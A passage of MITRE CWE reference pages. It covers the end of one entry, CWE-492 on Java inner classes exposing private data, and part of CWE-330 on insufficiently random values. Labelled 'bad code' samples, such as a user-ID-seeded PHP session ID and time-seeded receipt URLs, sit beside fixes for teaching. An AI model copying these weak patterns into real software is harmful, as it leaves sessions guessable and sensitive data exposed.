Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsDangerous Functions
CERT C Secure CodingPOS33-CCWE More AbstractDo not use vfork()
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-194] Herbert Schildt. "Herb Schildt's C++ Programming Cookbook". Chapter 5. Working with I/O. McGraw-Hill Osborne Media. 2008-04-28.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "gets and fgets" Page 163. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Type, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes, References
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-12-10CWE Content TeamMITRE
updated Demonstrative_Examples
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Dangerous Functions
2008-04-11Use of Inherently Dangerous Functions

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID: 492
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.
+ Extended Description
Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

"Inner Classes" data confidentiality aspects can often be overcome.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following Java Applet code mistakenly makes use of an inner class.

(bad code)
Example Language: Java 
public final class urlTool extends Applet {
private final class urlHelper {
...
}
...
}

Example 2

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

(bad code)
Example Language: Java 
public class OuterClass {
// private member variables of OuterClass
private String memberOne;
private String memberTwo;

// constructor of OuterClass
public OuterClass(String varOne, String varTwo) {
this.memberOne = varOne;
this.memberTwo = varTwo;
}

// InnerClass is a member inner class of OuterClass
private class InnerClass {
private String innerMemberOne;

public InnerClass(String innerVarOne) {
this.innerMemberOne = innerVarOne;
}

public String concat(String separator) {
// InnerClass has access to private member variables of OuterClass
System.out.println("Value of memberOne is: " + memberOne);
return OuterClass.this.memberTwo + separator + this.innerMemberOne;
}
}
}

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

(good code)
Example Language: Java 
public class OuterClass {

// private member variables of OuterClass
private String memberOne;
private static String memberTwo;

// constructor of OuterClass
public OuterClass(String varOne, String varTwo) {
this.memberOne = varOne;
this.memberTwo = varTwo;
}

// InnerClass is a static inner class of OuterClass
private static class InnerClass {

private String innerMemberOne;

public InnerClass(String innerVarOne) {
this.innerMemberOne = innerVarOne;
}
public String concat(String separator) {
// InnerClass only has access to static member variables of OuterClass
return memberTwo + separator + this.innerMemberOne;
}
}
}

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

(bad code)
Example Language: Java 
public class BankAccount {

// private member variables of BankAccount class
private String accountOwnerName;
private String accountOwnerSSN;
private int accountNumber;
private double balance;

// constructor for BankAccount class
public BankAccount(String accountOwnerName, String accountOwnerSSN,
int accountNumber, double initialBalance, int initialRate)
{
this.accountOwnerName = accountOwnerName;
this.accountOwnerSSN = accountOwnerSSN;
this.accountNumber = accountNumber;
this.balance = initialBalance;
this.start(initialRate);
}

// start method will add interest to balance every 30 days

// creates timer object and interest adding action listener object
public void start(double rate)
{
ActionListener adder = new InterestAdder(rate);
Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
t.start();
}

// InterestAdder is an inner class of BankAccount class

// that implements the ActionListener interface
private class InterestAdder implements ActionListener
{
private double rate;

public InterestAdder(double aRate)
{
this.rate = aRate;
}

public void actionPerformed(ActionEvent event)
{
// update interest
double interest = BankAccount.this.balance * rate / 100;
BankAccount.this.balance += interest;
}
}
}

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

(good code)
Example Language: Java 
public class BankAccount {

// private member variables of BankAccount class
private String accountOwnerName;
private String accountOwnerSSN;
private int accountNumber;
private double balance;

// constructor for BankAccount class
public BankAccount(String accountOwnerName, String accountOwnerSSN,
int accountNumber, double initialBalance, int initialRate)
{
this.accountOwnerName = accountOwnerName;
this.accountOwnerSSN = accountOwnerSSN;
this.accountNumber = accountNumber;
this.balance = initialBalance;
this.start(initialRate);
}

// start method will add interest to balance every 30 days

// creates timer object and interest adding action listener object
public void start(final double rate)
{

// InterestAdder is a local inner class

// that implements the ActionListener interface
class InterestAdder implements ActionListener
{
public void actionPerformed(ActionEvent event)
{
// update interest
double interest = BankAccount.this.balance * rate / 100;
BankAccount.this.balance += interest;
}
}
ActionListener adder = new InterestAdder();
Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
t.start();
}
}

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

(good code)
Example Language: Java 
public class BankAccount {

// private member variables of BankAccount class
private String accountOwnerName;
private String accountOwnerSSN;
private int accountNumber;
private double balance;

// constructor for BankAccount class
public BankAccount(String accountOwnerName, String accountOwnerSSN,
int accountNumber, double initialBalance, int initialRate)
{
this.accountOwnerName = accountOwnerName;
this.accountOwnerSSN = accountOwnerSSN;
this.accountNumber = accountNumber;
this.balance = initialBalance;
this.start(initialRate);
}

// start method will add interest to balance every 30 days

// creates timer object and interest adding action listener object
public void start(final double rate)
{

// anonymous inner class that implements the ActionListener interface
ActionListener adder = new ActionListener()
{
public void actionPerformed(ActionEvent event)
{

double interest = BankAccount.this.balance * rate / 100;
BankAccount.this.balance += interest;
}
};

Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
t.start();
}
}

Example 4

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

(bad code)
 
public class UrlToolApplet extends Applet {

// private member variables for applet components
private Label enterUrlLabel;
private TextField enterUrlTextField;
private Button submitButton;

// init method that adds components to applet

// and creates button listener object
public void init() {
setLayout(new FlowLayout());
enterUrlLabel = new Label("Enter URL: ");
enterUrlTextField = new TextField("", 20);
submitButton = new Button("Submit");
add(enterUrlLabel);
add(enterUrlTextField);
add(submitButton);
ActionListener submitButtonListener = new SubmitButtonListener();
submitButton.addActionListener(submitButtonListener);
}

// button listener inner class for UrlToolApplet class
private class SubmitButtonListener implements ActionListener {
public void actionPerformed(ActionEvent evt) {
if (evt.getSource() == submitButton) {
String urlString = enterUrlTextField.getText();
URL url = null;
try {
url = new URL(urlString);
} catch (MalformedURLException e) {
System.err.println("Malformed URL: " + urlString);
}
if (url != null) {
getAppletContext().showDocument(url);
}
}
}
}
}

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

(good code)
Example Language: Java 
public class UrlToolApplet extends Applet implements ActionListener {

// private member variables for applet components
private Label enterUrlLabel;
private TextField enterUrlTextField;
private Button submitButton;

// init method that adds components to applet
public void init() {
setLayout(new FlowLayout());
enterUrlLabel = new Label("Enter URL: ");
enterUrlTextField = new TextField("", 20);
submitButton = new Button("Submit");
add(enterUrlLabel);
add(enterUrlTextField);
add(submitButton);
submitButton.addActionListener(this);
}

// implementation of actionPerformed method of ActionListener interface
public void actionPerformed(ActionEvent evt) {
if (evt.getSource() == submitButton) {
String urlString = enterUrlTextField.getText();
URL url = null;
try {
url = new URL(urlString);
} catch (MalformedURLException e) {
System.err.println("Malformed URL: " + urlString);
}
if (url != null) {
getAppletContext().showDocument(url);
}
}
}
}
+ Potential Mitigations

Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMobile Code: Use of Inner Class
CLASPPublicizing of private data when using inner classes
The CERT Oracle Secure Coding Standard for Java (2011)OBJ08-JDo not expose private members of an outer class from within a nested class
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, References, Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Use of Inner Class

CWE-330: Use of Insufficiently Random Values

Weakness ID: 330
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
+ Extended Description
When product generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.331Insufficient Entropy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.334Small Space of Random Values
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.338Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.340Generation of Predictable Numbers or Identifiers
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.344Use of Invariant Value in Dynamically Changing Context
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1204Generation of Weak Initialization Vector (IV)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1241Use of Predictable Algorithm in Random Number Generator
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.804Guessable CAPTCHA
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.331Insufficient Entropy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.338Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Background Details
Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Other

Technical Impact: Other

When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

If product relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code attempts to generate a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

(bad code)
Example Language: Java 
String GenerateReceiptURL(String baseUrl) {
Random ranGen = new Random();
ranGen.setSeed((new Date()).getTime());
return(baseUrl + ranGen.nextInt(400000000) + ".html");
}

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

+ Observed Examples
ReferenceDescription
PHP framework uses mt_rand() function (Marsenne Twister) when generating tokens
Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.
Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.
Random number generator can repeatedly generate the same value.
Web application generates predictable session IDs, allowing session hijacking.
Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.
Cryptographic key created with a seed based on the system time.
Kernel function does not have a good entropy source just after boot.
Blogging software uses a hard-coded salt when calculating a password hash.
Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files.
Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections.
Web management console generates session IDs based on the login time, making it easier to conduct session hijacking.
SSL library uses a weak random number generator that only generates 65,536 unique keys.
Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers.
Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331)
CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums.
DNS client uses predictable DNS transaction IDs, allowing DNS spoofing.
Application generates passwords that are based on the time of day.
+ Potential Mitigations

Phase: Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

Phase: Testing

